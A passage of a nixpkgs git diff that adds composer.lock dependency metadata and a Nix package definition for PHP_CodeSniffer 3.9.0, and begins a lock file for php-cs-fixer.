PHP Unit Testing framework.", + "homepage": "https://phpunit.de/", + "keywords": [ + "phpunit", + "testing", + "xunit" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/phpunit/issues", + "security": "https://github.com/sebastianbergmann/phpunit/security/policy", + "source": "https://github.com/sebastianbergmann/phpunit/tree/9.6.17" + }, + "funding": [ + { + "url": "https://phpunit.de/sponsors.html", + "type": "custom" + }, + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpunit/phpunit", + "type": "tidelift" + } + ], + "time": "2024-02-23T13:14:51+00:00" + }, + { + "name": "sebastian/cli-parser", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/cli-parser.git", + "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/442e7c7e687e42adc03470c7b668bc4b2402c0b2", + "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for parsing CLI options", + "homepage": "https://github.com/sebastianbergmann/cli-parser", + "support": { + "issues": "https://github.com/sebastianbergmann/cli-parser/issues", + "source": "https://github.com/sebastianbergmann/cli-parser/tree/1.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:08:49+00:00" + }, + { + "name": "sebastian/code-unit", + "version": "1.0.8", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit.git", + "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120", + "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the PHP code units", + "homepage": "https://github.com/sebastianbergmann/code-unit", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit/issues", + "source": "https://github.com/sebastianbergmann/code-unit/tree/1.0.8" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:08:54+00:00" + }, + { + "name": "sebastian/code-unit-reverse-lookup", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", + "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", + "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Looks up which function or method a line of code belongs to", + "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", + "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/2.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T05:30:19+00:00" + }, + { + "name": "sebastian/comparator", + "version": "4.0.8", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/comparator.git", + "reference": "fa0f136dd2334583309d32b62544682ee972b51a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/fa0f136dd2334583309d32b62544682ee972b51a", + "reference": "fa0f136dd2334583309d32b62544682ee972b51a", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/diff": "^4.0", + "sebastian/exporter": "^4.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@2bepublished.at" + } + ], + "description": "Provides the functionality to compare PHP values for equality", + "homepage": "https://github.com/sebastianbergmann/comparator", + "keywords": [ + "comparator", + "compare", + "equality" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/comparator/issues", + "source": "https://github.com/sebastianbergmann/comparator/tree/4.0.8" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2022-09-14T12:41:17+00:00" + }, + { + "name": "sebastian/complexity", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/complexity.git", + "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/25f207c40d62b8b7aa32f5ab026c53561964053a", + "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for calculating the complexity of PHP code units", + "homepage": "https://github.com/sebastianbergmann/complexity", + "support": { + "issues": "https://github.com/sebastianbergmann/complexity/issues", + "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:19:30+00:00" + }, + { + "name": "sebastian/diff", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/diff.git", + "reference": "74be17022044ebaaecfdf0c5cd504fc9cd5a7131" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/74be17022044ebaaecfdf0c5cd504fc9cd5a7131", + "reference": "74be17022044ebaaecfdf0c5cd504fc9cd5a7131", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3", + "symfony/process": "^4.2 || ^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Kore Nordmann", + "email": "mail@kore-nordmann.de" + } + ], + "description": "Diff implementation", + "homepage": "https://github.com/sebastianbergmann/diff", + "keywords": [ + "diff", + "udiff", + "unidiff", + "unified diff" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/diff/issues", + "source": "https://github.com/sebastianbergmann/diff/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-05-07T05:35:17+00:00" + }, + { + "name": "sebastian/environment", + "version": "5.1.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/environment.git", + "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", + "reference": "830c43a844f1f8d5b7a1f6d6076b784454d8b7ed", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-posix": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides functionality to handle HHVM/PHP environments", + "homepage": "http://www.github.com/sebastianbergmann/environment", + "keywords": [ + "Xdebug", + "environment", + "hhvm" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/environment/issues", + "source": "https://github.com/sebastianbergmann/environment/tree/5.1.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:03:51+00:00" + }, + { + "name": "sebastian/exporter", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/exporter.git", + "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", + "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "ext-mbstring": "*", + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Provides the functionality to export PHP variables for visualization", + "homepage": "https://www.github.com/sebastianbergmann/exporter", + "keywords": [ + "export", + "exporter" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/exporter/issues", + "source": "https://github.com/sebastianbergmann/exporter/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2022-09-14T06:03:37+00:00" + }, + { + "name": "sebastian/global-state", + "version": "5.0.6", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/global-state.git", + "reference": "bde739e7565280bda77be70044ac1047bc007e34" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/bde739e7565280bda77be70044ac1047bc007e34", + "reference": "bde739e7565280bda77be70044ac1047bc007e34", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/object-reflector": "^2.0", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "ext-dom": "*", + "phpunit/phpunit": "^9.3" + }, + "suggest": { + "ext-uopz": "*" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Snapshotting of global state", + "homepage": "http://www.github.com/sebastianbergmann/global-state", + "keywords": [ + "global state" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/global-state/issues", + "source": "https://github.com/sebastianbergmann/global-state/tree/5.0.6" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-08-02T09:26:13+00:00" + }, + { + "name": "sebastian/lines-of-code", + "version": "1.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/lines-of-code.git", + "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/e1e4a170560925c26d424b6a03aed157e7dcc5c5", + "reference": "e1e4a170560925c26d424b6a03aed157e7dcc5c5", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for counting the lines of code in PHP source code", + "homepage": "https://github.com/sebastianbergmann/lines-of-code", + "support": { + "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", + "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-12-22T06:20:34+00:00" + }, + { + "name": "sebastian/object-enumerator", + "version": "4.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-enumerator.git", + "reference": "5c9eeac41b290a3712d88851518825ad78f45c71" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/5c9eeac41b290a3712d88851518825ad78f45c71", + "reference": "5c9eeac41b290a3712d88851518825ad78f45c71", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/object-reflector": "^2.0", + "sebastian/recursion-context": "^4.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Traverses array structures and object graphs to enumerate all referenced objects", + "homepage": "https://github.com/sebastianbergmann/object-enumerator/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", + "source": "https://github.com/sebastianbergmann/object-enumerator/tree/4.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:12:34+00:00" + }, + { + "name": "sebastian/object-reflector", + "version": "2.0.4", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-reflector.git", + "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", + "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Allows reflection of object attributes, including inherited and non-public ones", + "homepage": "https://github.com/sebastianbergmann/object-reflector/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-reflector/issues", + "source": "https://github.com/sebastianbergmann/object-reflector/tree/2.0.4" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:14:26+00:00" + }, + { + "name": "sebastian/recursion-context", + "version": "4.0.5", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/recursion-context.git", + "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", + "reference": "e75bd0f07204fec2a0af9b0f3cfe97d05f92efc1", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + } + ], + "description": "Provides functionality to recursively process PHP variables", + "homepage": "https://github.com/sebastianbergmann/recursion-context", + "support": { + "issues": "https://github.com/sebastianbergmann/recursion-context/issues", + "source": "https://github.com/sebastianbergmann/recursion-context/tree/4.0.5" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:07:39+00:00" + }, + { + "name": "sebastian/resource-operations", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/resource-operations.git", + "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", + "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Provides a list of PHP built-in functions that operate on resources", + "homepage": "https://www.github.com/sebastianbergmann/resource-operations", + "support": { + "issues": "https://github.com/sebastianbergmann/resource-operations/issues", + "source": "https://github.com/sebastianbergmann/resource-operations/tree/3.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:45:17+00:00" + }, + { + "name": "sebastian/type", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/type.git", + "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", + "reference": "75e2c2a32f5e0b3aef905b9ed0b179b953b3d7c7", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.2-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the types of the PHP type system", + "homepage": "https://github.com/sebastianbergmann/type", + "support": { + "issues": "https://github.com/sebastianbergmann/type/issues", + "source": "https://github.com/sebastianbergmann/type/tree/3.2.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T06:13:03+00:00" + }, + { + "name": "sebastian/version", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/version.git", + "reference": "c6c1022351a901512170118436c764e473f6de8c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c6c1022351a901512170118436c764e473f6de8c", + "reference": "c6c1022351a901512170118436c764e473f6de8c", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that helps with managing the version number of Git-hosted PHP projects", + "homepage": "https://github.com/sebastianbergmann/version", + "support": { + "issues": "https://github.com/sebastianbergmann/version/issues", + "source": "https://github.com/sebastianbergmann/version/tree/3.0.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:39:44+00:00" + }, + { + "name": "theseer/tokenizer", + "version": "1.2.2", + "source": { + "type": "git", + "url": "https://github.com/theseer/tokenizer.git", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/theseer/tokenizer/zipball/b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + } + ], + "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", + "support": { + "issues": "https://github.com/theseer/tokenizer/issues", + "source": "https://github.com/theseer/tokenizer/tree/1.2.2" + }, + "funding": [ + { + "url": "https://github.com/theseer", + "type": "github" + } + ], + "time": "2023-11-20T00:12:19+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": { + "php": ">=5.4.0", + "ext-simplexml": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*" + }, + "platform-dev": [], + "plugin-api-version": "2.6.0" +} diff --git a/pkgs/development/php-packages/php-codesniffer/default.nix b/pkgs/development/php-packages/php-codesniffer/default.nix new file mode 100644 index 0000000000000..0075c387d6e33 --- /dev/null +++ b/pkgs/development/php-packages/php-codesniffer/default.nix @@ -0,0 +1,27 @@ +{ fetchFromGitHub +, lib +, php +}: + +php.buildComposerProject (finalAttrs: { + pname = "php-codesniffer"; + version = "3.9.0"; + + src = fetchFromGitHub { + owner = "PHPCSStandards"; + repo = "PHP_CodeSniffer"; + rev = "${finalAttrs.version}"; + hash = "sha256-HyAb0vfruJWch09GVWtKI+NOTpsUkkLRusFSwZlNHjA="; + }; + + composerLock = ./composer.lock; + vendorHash = "sha256-nM0sKdD+fc3saPCvU+0KI7HM+LdSi0vJIoutwuZnx/Y="; + + meta = { + changelog = "https://github.com/PHPCSStandards/PHP_CodeSniffer/releases/tag/${finalAttrs.version}"; + description = "PHP coding standard tool"; + license = lib.licenses.bsd3; + homepage = "https://github.com/PHPCSStandards/PHP_CodeSniffer/"; + maintainers = with lib.maintainers; [ javaguirre ] ++ lib.teams.php.members; + }; +}) diff --git a/pkgs/development/php-packages/php-cs-fixer/composer.lock b/pkgs/development/php-packages/php-cs-fixer/composer.lock new file mode 100644 index 0000000000000..240b714f8fedc --- /dev/null +++ b/pkgs/development/php-packages/php-cs-fixer/composer.lock @@ -0,0 +1,4747 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "51f7af207f2db0d57a6e749c90fc8a2a", + "packages": [ + { + "name": "composer/pcre", + "version": "3.1.1", + "source": { + "type": "git", + "url": "https://github.com/composer/pcre.git", + "reference": "00104306927c7a0919b4ced2aaa6782c1e61a3c9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/pcre/zipball/00104306927c7a0919b4ced2aaa6782c1e61a3c9", + "reference": "00104306927c7a0919b4ced2aaa6782c1e61a3c9", + "shasum": "" + }, + "require": { + "php": "^7.4 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.3", + "phpstan/phpstan-strict-rules": "^1.1", + "symfony/phpunit-bridge": "^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\Pcre\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + } + ], + "description": "PCRE wrapping library that offers type-safe preg_* replacements.", + "keywords": [ + "PCRE", + "preg", + "regex", + "regular expression" + ], + "support": { + "issues": "https://github.com/composer/pcre/issues", + "source": "https://github.com/composer/pcre/tree/3.1.1" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2023-10-11T07:11:09+00:00" + }, + { + "name": "composer/semver", + "version": "3.4.0", + "source": { + "type": "git", + "url": "https://github.com/composer/semver.git", + "reference": "35e8d0af4486141bc745f23a29cc2091eb624a32" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/semver/zipball/35e8d0af4486141bc745f23a29cc2091eb624a32", + "reference": "35e8d0af4486141bc745f23a29cc2091eb624a32", + "shasum": "" + }, + "require": { + "php": "^5.3.2 || ^7.0 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.4", + "symfony/phpunit-bridge": "^4.2 || ^5" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Composer\\Semver\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nils Adermann", + "email": "naderman@naderman.de", + "homepage": "http://www.naderman.de" + }, + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + }, + { + "name": "Rob Bast", + "email": "rob.bast@gmail.com", + "homepage": "http://robbast.nl" + } + ], + "description": "Semver library that offers utilities, version constraint parsing and validation.", + "keywords": [ + "semantic", + "semver", + "validation", + "versioning" + ], + "support": { + "irc": "ircs://irc.libera.chat:6697/composer", + "issues": "https://github.com/composer/semver/issues", + "source": "https://github.com/composer/semver/tree/3.4.0" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2023-08-31T09:50:34+00:00" + }, + { + "name": "composer/xdebug-handler", + "version": "3.0.3", + "source": { + "type": "git", + "url": "https://github.com/composer/xdebug-handler.git", + "reference": "ced299686f41dce890debac69273b47ffe98a40c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/composer/xdebug-handler/zipball/ced299686f41dce890debac69273b47ffe98a40c", + "reference": "ced299686f41dce890debac69273b47ffe98a40c", + "shasum": "" + }, + "require": { + "composer/pcre": "^1 || ^2 || ^3", + "php": "^7.2.5 || ^8.0", + "psr/log": "^1 || ^2 || ^3" + }, + "require-dev": { + "phpstan/phpstan": "^1.0", + "phpstan/phpstan-strict-rules": "^1.1", + "symfony/phpunit-bridge": "^6.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Composer\\XdebugHandler\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "John Stevenson", + "email": "john-stevenson@blueyonder.co.uk" + } + ], + "description": "Restarts a process without Xdebug.", + "keywords": [ + "Xdebug", + "performance" + ], + "support": { + "irc": "irc://irc.freenode.org/composer", + "issues": "https://github.com/composer/xdebug-handler/issues", + "source": "https://github.com/composer/xdebug-handler/tree/3.0.3" + }, + "funding": [ + { + "url": "https://packagist.com", + "type": "custom" + }, + { + "url": "https://github.com/composer", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/composer/composer", + "type": "tidelift" + } + ], + "time": "2022-02-25T21:32:43+00:00" + }, + { + "name": "psr/container", + "version": "2.0.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/c71ecc56dfe541dbd90c5360474fbc405f8d5963", + "reference": "c71ecc56dfe541dbd90c5360474fbc405f8d5963", + 